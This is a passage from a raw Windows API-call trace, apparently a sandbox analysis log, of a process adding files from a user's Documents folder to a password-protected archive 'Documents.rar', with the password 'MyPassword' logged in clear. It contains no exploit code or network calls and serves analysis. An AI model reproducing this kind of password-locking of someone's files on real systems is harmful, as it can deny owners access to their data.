(HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0083.631] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0083.631] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a0d0 | out: hHeap=0x1162e7c0000) returned 1 [0083.631] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a070 | out: hHeap=0x1162e7c0000) returned 1 [0083.631] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799b0, Size=0x48) returned 0x1162e888680 [0083.631] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888680, Size=0x7a) returned 0x1163205dd60 [0083.631] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0083.631] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205dd60 | out: hHeap=0x1162e7c0000) returned 1 [0083.633] GetTickCount () returned 0x2ab49 [0083.633] GetLastError () returned 0x0 [0083.633] SetLastError (dwErrCode=0x0) [0083.633] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0083.633] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0083.633] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbeb0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0083.633] SetWindowTextW (hWnd=0x10302, lpString=" 100%") returned 1 [0083.634] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0083.634] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17496229028) returned 1 [0083.634] GetTickCount () returned 0x2ab49 [0083.634] GetTickCount () returned 0x2ab49 [0083.634] GetTickCount () returned 0x2ab49 [0083.634] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0083.634] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0083.634] GetFocus () returned 0x1031c [0083.634] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0083.635] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.635] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.635] ResetEvent (hEvent=0x344) returned 1 [0083.637] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.637] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.641] ResetEvent (hEvent=0x344) returned 1 [0083.641] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.641] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.642] ResetEvent (hEvent=0x344) returned 1 [0083.642] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.642] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.665] ResetEvent (hEvent=0x344) returned 1 [0083.665] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.665] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.670] GetTickCount () returned 0x2ab78 [0083.670] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17499825070) returned 1 [0083.670] GetTickCount () returned 0x2ab78 [0083.670] GetTickCount () returned 0x2ab78 [0083.670] GetTickCount () returned 0x2ab78 [0083.670] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0083.673] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0083.673] GetFocus () returned 0x1031c [0083.673] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0083.673] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0083.673] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0083.673] GetFocus () returned 0x1031c [0083.673] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0083.674] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.674] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 1 [0083.674] GetMessageW (in: lpMsg=0x141a0dd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd4e0) returned 1 [0083.674] GetFocus () returned 0x1031c [0083.674] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd4e0) returned 1 [0083.674] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.674] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x1e0171 [0083.675] SetFilePointer (in: hFile=0x32c, lDistanceToMove=99, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x1e01d4 [0083.675] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.675] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.675] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.675] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.675] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x2c30, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x2c30, lpOverlapped=0x0) returned 1 [0083.675] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 1 [0083.675] GetMessageW (in: lpMsg=0x141a0dd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd4e0) returned 1 [0083.675] GetFocus () returned 0x1031c [0083.675] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd4e0) returned 1 [0083.676] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.676] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1966449, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1e0171 [0083.676] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x1e0171 [0083.676] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.676] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0083.676] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a070, Size=0x48) returned 0x1162e888ea0 [0083.676] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d7b0 [0083.676] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.676] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888f40 [0083.676] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d7b0 | out: hHeap=0x1162e7c0000) returned 1 [0083.676] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.676] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0083.676] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.676] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.676] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a070 | out: hHeap=0x1162e7c0000) returned 1 [0083.676] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e888680 [0083.676] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888680, Size=0x7a) returned 0x1163205e030 [0083.676] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205e033*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205e033*, lpNumberOfBytesWritten=0x141a0d82c0*=0x63, lpOverlapped=0x0) returned 1 [0083.677] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0083.677] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x63) returned 0x1162e7f9530 [0083.677] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888f40 | out: hHeap=0x1162e7c0000) returned 1 [0083.677] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205e030 | out: hHeap=0x1162e7c0000) returned 1 [0083.677] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1e2e04 [0083.677] CloseHandle (hObject=0x350) returned 1 [0083.677] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.677] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.677] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.677] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.677] FindFirstFileW (in: lpFileName="desktop.ini", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0083.677] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0083.677] CreateFileW (lpFileName="desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.677] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.677] GetTickCount () returned 0x2ab78 [0083.677] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.677] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.677] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.677] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.677] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="Database1.accdb") returned 15 [0083.677] SetWindowTextW (hWnd=0x10300, lpString="desktop.ini") returned 1 [0083.678] GetTickCount () returned 0x2ab78 [0083.678] UpdateWindow (hWnd=0x102f8) returned 1 [0083.678] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.678] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0083.678] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.678] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0083.678] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0xa3)) [0083.678] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.678] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17500708533) returned 1 [0083.679] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x192, lpOverlapped=0x0) returned 1 [0083.679] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e1d2, nNumberOfBytesToRead=0xffe6e, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e1d2*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.679] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0083.679] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0083.679] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079950, Size=0x48) returned 0x1162e888f90 [0083.679] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.679] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.679] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e8893a0 [0083.679] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.679] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888f90 | out: hHeap=0x1162e7c0000) returned 1 [0083.679] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0083.679] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.679] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.679] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079950 | out: hHeap=0x1162e7c0000) returned 1 [0083.679] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a0d0, Size=0x48) returned 0x1162e888fe0 [0083.679] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888fe0, Size=0x7a) returned 0x1163205cd10 [0083.679] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0083.679] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205cd10 | out: hHeap=0x1162e7c0000) returned 1 [0083.680] GetTickCount () returned 0x2ab78 [0083.680] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17500908483) returned 1 [0083.681] GetTickCount () returned 0x2ab78 [0083.681] GetTickCount () returned 0x2ab78 [0083.681] GetTickCount () returned 0x2ab78 [0083.681] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.681] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.681] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.681] ResetEvent (hEvent=0x344) returned 1 [0083.681] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.681] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.682] GetTickCount () returned 0x2ab78 [0083.682] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17501032263) returned 1 [0083.682] GetTickCount () returned 0x2ab78 [0083.682] GetTickCount () returned 0x2ab78 [0083.682] GetTickCount () returned 0x2ab78 [0083.682] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.682] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.682] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.682] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.682] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.682] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x1e2e04 [0083.682] SetFilePointer (in: hFile=0x32c, lDistanceToMove=93, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x1e2e61 [0083.682] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.684] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.684] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.684] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.684] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xc0, lpOverlapped=0x0) returned 1 [0083.685] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.685] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.685] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1977860, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1e2e04 [0083.685] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x1e2e04 [0083.685] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.685] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0083.685] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a0d0, Size=0x48) returned 0x1162e888900 [0083.685] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d9b0 [0083.685] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0083.685] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a0d0, Size=0x48) returned 0x1162e888680 [0083.685] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d9b0 | out: hHeap=0x1162e7c0000) returned 1 [0083.685] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0083.685] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.685] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0083.685] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a0d0 | out: hHeap=0x1162e7c0000) returned 1 [0083.685] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.685] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e888ea0 [0083.685] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1163205d730 [0083.685] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205d733*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205d733*, lpNumberOfBytesWritten=0x141a0d82c0*=0x5d, lpOverlapped=0x0) returned 1 [0083.685] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888680 | out: hHeap=0x1162e7c0000) returned 1 [0083.685] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205d730 | out: hHeap=0x1162e7c0000) returned 1 [0083.685] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1e2f21 [0083.686] CloseHandle (hObject=0x350) returned 1 [0083.686] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.686] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.686] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.686] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.686] FindFirstFileW (in: lpFileName="eBvOtmtGs9oVXiPynY.xlsx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0083.686] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0083.686] CreateFileW (lpFileName="eBvOtmtGs9oVXiPynY.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ebvotmtgs9ovxipyny.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.686] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.686] GetTickCount () returned 0x2ab88 [0083.686] GetLastError () returned 0x0 [0083.686] SetLastError (dwErrCode=0x0) [0083.686] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0083.686] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0083.686] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbf90, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0083.687] SetWindowTextW (hWnd=0x10302, lpString=" 0%") returned 1 [0083.687] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0083.688] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.688] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.688] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.688] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.689] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0083.689] SetWindowTextW (hWnd=0x10300, lpString="eBvOtmtGs9oVXiPynY.xlsx") returned 1 [0083.689] GetTickCount () returned 0x2ab88 [0083.689] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.689] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0083.690] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.690] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0083.690] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0xb2)) [0083.690] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.690] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17501845711) returned 1 [0083.690] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, 